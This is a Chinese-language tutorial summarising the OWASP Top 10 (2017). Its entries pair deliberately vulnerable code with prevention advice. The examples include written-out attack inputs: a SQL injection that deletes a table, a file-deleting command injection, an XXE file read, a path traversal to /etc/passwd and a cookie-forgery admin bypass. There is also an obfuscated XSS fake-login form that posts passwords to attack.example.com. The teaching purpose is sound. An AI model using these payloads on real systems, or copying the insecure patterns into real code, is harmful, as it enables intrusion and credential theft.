Owasp 全称 Open Web Application Security Project(开放式Web应用程序安全项目)。

其中最具权威的就是其”十大安全漏洞列表”,目前正式发布的最新版本是2017年11月份发布的。

以下对2017年的Top 10版本做一个归纳,例子中不全的欢迎各位大佬评论指出,后续有会添加上。

注入(Injection)

简介

当不可信的数据作为命令或查询语句的一部分被发送给解释器的时候,会发生注入漏洞,包括SQL、NoSQL、OS以及LDAP注入等。攻击者发送的恶意数据可能会诱使解释器执行计划外的命令,或在没有适当授权的情况下访问数据。

Example

SQL注入
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);

改代码准备执行的查询如下:

SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

但是查询是通过固定的查询字符和用户的输入字符串连接来动态构成的,若攻击者在owner处构造name'; DELETE FROM items; --,则SQL语句变成了

SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name'; DELETE FROM items; --'

参考:CWE-89: SQL Injection

本站案例:CTF-SQL注入Sqli-labs靶场

命令注入
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat " + btype + "&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);

以上代码来自一个管理web的应用程序,改程序旨在允许用户使用批处理文件程序来对Oracle数据库进行备份,然后运行cleanup.bat脚本删除一些临时文件,备份脚本rmanDB.bat接收单个命令参数,该参数指定要执行的备份类型,由于对数据库的访问受到限制,因此该备份脚本通常是以特权用户身份运行的

通常Runtime.exec()函数不会执行多个命令,但是在这种情况下,程序首先运行cmd.exe shell,以便通过一次调用Runtime.exec()来运行多个命令。调用完rmanDB后,接着调用由&&分隔的多个命令。若攻击者传入的字符串形式为& del c:\\dbms\\*.*,那么该应用程序将执行此命令以及攻击者传入的其它命令 del

http://example.com/app/accountView?backuptype=& del c:\\dbms\\*.*

参考:CWE-77: Command Injection

本站案例:CTF-命令执行php命令执行小技巧

服务器端模板注入(SSTI)
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);

$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");  // 将用户输入作为模版内容的一部分
echo $output;

该段代码使得用户可以在发送电子邮件之前自定义使用的名称,但是若攻击者不将静态值传递到模板中,而是使用GET参数动态生成模板本身的一部分name,如下所示

http://vulnerable-website.com/?name=IsVuln{# comment #}{{2*8}}OK

由于 `` 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello IsVuln16OK

参考:PortSwigger: Server-side template injection服务端模板注入攻击 (SSTI) 之浅析

本站案例:CTF-SSTI

Prevent

  1. 使用安全的API
  2. 使用“白名单”对服务器端的输入进行验证
  3. 使用特定的转义语法来转义特殊字
  4. 在查询中使用LIMIT和其他SQL控件,防止SQL注入的情况下大量泄露记录

参考:A1:2017-Injection

失效的身份认证

简介

通过不规范的使用应用程序的身份认证和会话管理功能,从而使攻击者能够破译密码,密钥或会话令牌,或者暂时或永久的冒充其它用户的身份

Example

my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
    if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    	ExitError("Error: you need to log in first");
    }else {
        # Set loggedin and user cookies.
        $q->cookie(
        -name => 'loggedin',
        -value => 'true'
        );

        $q->cookie(
        -name => 'user',
        -value => $q->param('username')
        );
    }
}

if ($q->cookie('user') eq "Administrator") {
	DoAdministratorTasks();
}

以上代码旨在确保用户已经登录,如果未登录,则代码将使用用户提供的用户名和密码进行身份验证,如果成功,它将登录用户并将用户的cookie设置为“记住”用户已经登录,最后,如果登录的用户的cookie中具有“管理员”用户名,则代码将执行管理员任务。

然而,这段代码是可以绕过的,攻击者可以独立设置cookie,使得代码不会检查用户名和密码,并且还可以伪造“管理员”身份进行操作,伪造的request头如下:

GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

通过将登录的cookie loggedin设置为“true”,攻击者将绕过整个身份认证;通过使cookie user为“Administrator”值,从而获得管理员权限

参考:CWE-287: Improper Authentication

Prevent

  1. 实施多因素身份认证,以防止自动进行凭据填充,暴力破解和凭据重用攻击
  2. 不适用默认密码,弱密码,尤其是对于管理员用户
  3. 实施密码检测,限制密码长度,复杂性
  4. 限制登录失败次数,频繁的登录尝试,记录故障,并在检测到攻击时提醒管理员
  5. 适用服务器端安全的内置会话管理器

参考:A2:2017-Broken Authentication

敏感信息泄露

简介

我们的敏感信息包括密码、财务数据、医疗数据等,由于web应用或者API未加密或不正确的保护敏感数据,这些数据极易遭到攻击者利用,攻击者可能使用这些数据来进行一些犯罪行为,因此,未加密的信息极易遭到破坏和利用,我们应该加强对敏感数据的保护,web应用应该在传输过程中数据、存储的数据以及和浏览器的交互时的数据进行加密,保证数据安全。

Example

function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}

此代码将用户的信息写入cookie,因此用户以后不必再次登录

该代码以纯文本的格式将用户的用户名和密码存储在计算机的cookie中,如果攻击者破坏了用户的计算机,则这将公开用户的登录信息,即使用户的计算机没有受到损害,当这种弱点加上跨站点脚本可能使攻击者远程复制cookie

Prevent

  1. 对应用程序处理,存储或传输的数据进行分类。
  2. 不存储不必要的敏感数据,尽快将其丢弃
  3. 确保对静态的所有敏感数据进行加密,并且使用最新且功能强大的标准算法,协议和密钥
  4. 使用安全协议对传输中的所有数据进行加密,如https,hsts

参考:A3:2017-Sensitive Data Exposure

XML外部实体(XXE)

简介

XXE 全称为XML External Entity attack 即XML(可扩展标记语言) 外部实体注入攻击,早期或配置错误的XML处理器评估了XML文件外部实体引用,攻击者可以利用这个漏洞窃取URI(统一资源标识符)文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击

Example

<?php
    $xml = simplexml_load_string($_REQUEST['xml']);
    print_r($xml);
?>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://flag.txt" >
]>
<root>
<name>&file;</name>
</root>

具体参考本站:XXE学习笔记

Prevent

  1. 尽可能使用不太复杂的数据格式(如:JSON)避免敏感数据的序列化
  2. 修补或升级应用程序或基础操作系统上正在使用的所有XML处理器和库
  3. 在应用程序的所有XML解析器中禁用XML外部实体和DTD处理。
  4. 在服务器端实施“白名单”输入验证,过滤或清理操作

失效的访问控制

简介

通过身份验证的用户,可以访问其他用户的相关信息,没有实施恰当的访问权限。攻击者可以利用这个漏洞去查看未授权的功能和数据,例:访问用户的账户、敏感文件、获取和正常用户相同的权限等.

Example

my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
    print "<ul>\n";
    while (<$fh>) {
    print "<li>$_</li>\n";
}
print "</ul>\n";

以上代码可能适用于社交网络应用程序,其中用户的个人资料信息都存储在单独的文件中,所有文件都存储在一个目录中

尽管程序员打算访问“/users/cwe/profiles/alice”之类的文件,但没有验证传入的用户参数。攻击者可能会提供以下字符串:

../../../etc/passwd

该程序将生成如下的配置文件路径名:

/users/cwe/profiles/../../../etc/passwd

打开文件后,操作系统会在路径规范化期间解析“ ../”,并实际访问此文件:

/etc/passwd

结果,攻击者可以阅读密码文件的整个文本

Prevent

  1. 除公共资源外,默认情况下拒绝
  2. 一次实施访问控制机制,并在整个应用程序中重复使用它们,包括最大程度地减少CORS的使用。
  3. 禁用Web服务器目录列表,并确保Web根目录中不存在文件元数据(例如.git)和备份文件。
  4. 限速API和控制器访问权限,以最大程度减少自动攻击工具带来的危害。

安全配置错误

简介

安全配置错误是比较常见的漏洞,由于操作者的不当配置(默认配置,临时配置,开源云存储,http标头配置,以及包含敏感信息的详细错误),导致攻击者可以利用这些配置获取到更高的权限,安全配置错误可以发生在各个层面,包含平台、web服务器、应用服务器、数据库、架构和代码。

Example

Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);

以下代码从属性文件中读取密码,并使用该密码连接到数据库。

该代码将成功运行,但是有权访问config.properties的任何人都可以读取密码的值。如果攻击者有权访问此信息,则可以使用它来入侵系统。

参考:CWE-256: Unprotected Storage of Credentials

Prevent

  1. 自动化安装部署,保证开发,QA,产品环境的配置尽量相同,减少部署一个新安全环境的耗费,
  2. 及时了解并部署每个环境的软件更新和补丁信息
  3. 使用提供有效分离的安全性强大的应用程序架构
  4. 实施漏洞扫描和安全审计,以帮助检查错误的配置或者未安装的补丁

参考:A6:2017-安全性错误配置

跨站点脚本(XSS)

简介

xss攻击全称为跨站脚本攻击,当应用程序的新网页中包含不受信任的、未经恰当验证、转义的数据或可以使用HTML、JavaScript的浏览器API更新的现有网页时,就会出现xss漏洞,跨站脚本攻击是最普遍的web应用安全漏洞,甚至在某些安全平台都存在xss漏洞。xss会执行攻击者在浏览器中执行的脚本,并劫持用户会话,破坏网站或用户重定向到恶意站点,使用xss还可以执行拒绝服务攻击。

Example

反射型XSS
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

以上代码基于HTTP GET用户名参数在网页上显示欢迎消息。

由于参数可以是任意的,因此可以修改页面的url,因此$username可以包含脚本语法,例如:

http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

这样会弹出无害的警告对话框,最初这不是一个很大的漏洞,毕竟,为什么有人输入一个导致恶意代码在其自己的计算机上运行的URL?真正的危险在于,攻击者将创建恶意URL,然后使用电子邮件或社交工程技巧诱使受害者访问URL的链接。当受害者单击链接时,他们会通过易受攻击的Web应用程序不经意地将恶意内容反映回自己的计算机。更现实的是,攻击者可以在页面上嵌入一个伪造的登录框,诱使用户将用户的密码发送给攻击者:

http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>

如果用户单击此链接,那么Welcome.php将生成以下HTML并将其发送到用户的浏览器:

<div class="header"> Welcome, <div id="stealPassword"> Please Login:
    <form name="input" action="attack.example.com/stealPassword.php" method="post">
        Username: <input type="text" name="username" /><br/>
        Password: <input type="password" name="password" /><br/>
        <input type="submit" value="Login" />
    </form>
</div></div>

但是,精明的用户可能会注意到URL上附加了可疑文本。攻击者可能进一步混淆URL(以下示例链接分为多行以提高可读性):

http://trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

相同的攻击字符串也可能被混淆为:

http://trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

这两个攻击链接都将导致页面上显示伪造的登录框,并且用户更有可能忽略URL末尾的难以理解的文本。

存储型XSS

CreateUser.php

$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);

ListUsers.php

$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);

if (!$results) {
	exit;
}

//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
	echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

以上的web应用程序由两个独立的页面组成,一个页面用于创建用户的账户,另外一个页面用于列出当前登录的活动用户

攻击者可以将其名称设置为任意HTML,然后将其显示给“活动用户”页面的所有访问者。该HTML例如可以是窃取登录消息的密码。

参考:CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Prevent

  1. 使用设计上自动转义XSS的框架,例如最新的Ruby on Rails, React JS,了解每个框架的XSS保护的局限性,并适当处理未涵盖的用例
  2. 根据HTML输出中的上下文(正文,属性,JavaScript,CSS,或URL)转义不受信任的HTTP请求数据将解决XSS漏洞

参考:A7:2017-Cross-Site Scripting (XSS)

不安全的反序列化

简介

不安全的反序列化可以导致远程代码执行重放攻击、注入攻击或特权升级攻击

Example

参考本站:

Prevent

  1. 在所有序列化对象上实施完整性检查,例如数字签名,以防止恶意创建对象或篡改数据。
  2. 在对象创建之前的反序列化过程中强制执行严格的类型约束,因为代码通常希望使用一组可定义的类。
  3. 隔离并运行可能在低特权环境中反序列化的代码。

参考:A8:2017-Insecure Deserialization

使用含有已知漏洞的组件

简介

组件(eg:库、框架或其他软件模块)拥有应用程序相同的权限,如果应用程序中含有已知漏洞,攻击者可以利用漏洞获取数据或接管服务器。同时,使用这些组件会破坏应用程序防御,造成各种攻击产生严重的后果。

Example

参考本站:

漏洞查找:

MITER常见漏洞和披露(CVE)搜索

NVD漏洞数据库

Prevent

  1. 使用诸如versionDependencyCheckretire.js等工具,连续清点客户端和服务器端组件(例如,框架,库)的版本及其依赖。持续监视CVENVD等来源的组件中的漏洞。使用软件组成分析工具来自动化该过程。订阅电子邮件警报以获取与您使用的组件相关的安全漏洞。
  2. 仅通过安全链接从官方来源获取组件。优先选择经过签名的软件包,以减少包含经过修改的恶意组件的机会。
  3. 监视未维护的库和组件或未为旧版本创建安全补丁的组件。如果无法修补,请考虑部署虚拟修补程序以监视,检测或防止发现的问题。

参考:A9:2017-Using Components with Known Vulnerabilities

不足的日志记录和监控

简介

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持续性的或攻击更多的系统,以及对数据的不当操作。

Example

function login($userName,$password){
    if(authenticate($userName,$password)){
    	return True;
    }else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
        	writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
        }
    }
}

以上代码记录可疑的多次登录尝试。

此代码仅在达到特定限制时记录失败的登录尝试。如果攻击者知道此限制,则可以通过避免该限制来阻止发现攻击。

参考:CWE-223: Omission of Security-relevant Information

Prevent

  1. 确保可以使用足够的用户上下文记录所有登录,访问控制失败和服务器端输入验证失败的事件,以识别可疑或恶意帐户,并保留足够的时间以进行处理。
  2. 确保以一种集中式日志管理解决方案可以轻松使用的格式生成日志。
  3. 确保高价值交易具有完整性控制的审计跟踪,以防止篡改或删除,例如仅追加数据库表或类似内容。
  4. 建立有效的监视和警报,以便及时发现并应对可疑活动。
  5. 建立或采用事件响应和恢复计划,例如NIST 800-61 rev 2或更高版本。

参考:A10:2017-Insufficient Logging & Monitoring

参考